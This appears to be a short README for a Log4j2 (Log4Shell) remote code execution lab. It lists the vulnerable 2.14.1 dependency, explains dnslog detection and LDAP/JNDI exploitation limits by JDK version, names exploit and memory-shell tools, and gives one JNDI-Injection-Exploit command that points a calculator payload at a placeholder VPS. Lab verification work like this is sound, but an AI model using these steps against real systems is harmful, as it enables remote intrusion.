Apache Log4j2 RCE Verification Environment

Since from 2021.12.09

Some References

https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg

Setting up the Environment

Maven introduces related packages and vulnerable version range

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

Check

Use dnslog to detect if it is used

LDAP combined with JNDI exploit RCE

Depends on JDK version. After JDK 11.0.1, 8u191, 7u201, 6u211, you need to manually set trustURLCodebase to true

For detailed study, please refer to https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/

Exploitation can be combined with JNDI injection tools, such as JNDI-Injection-Exploit, fastjson_rce_tool, JNDIExploit

It can also be combined with tools to implement various publicly disclosed echo methods and memory shell injection methods

# 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app"  -A your_vps_ip

Web

TODO

About

https://github.com/apache/logging-log4j2/tags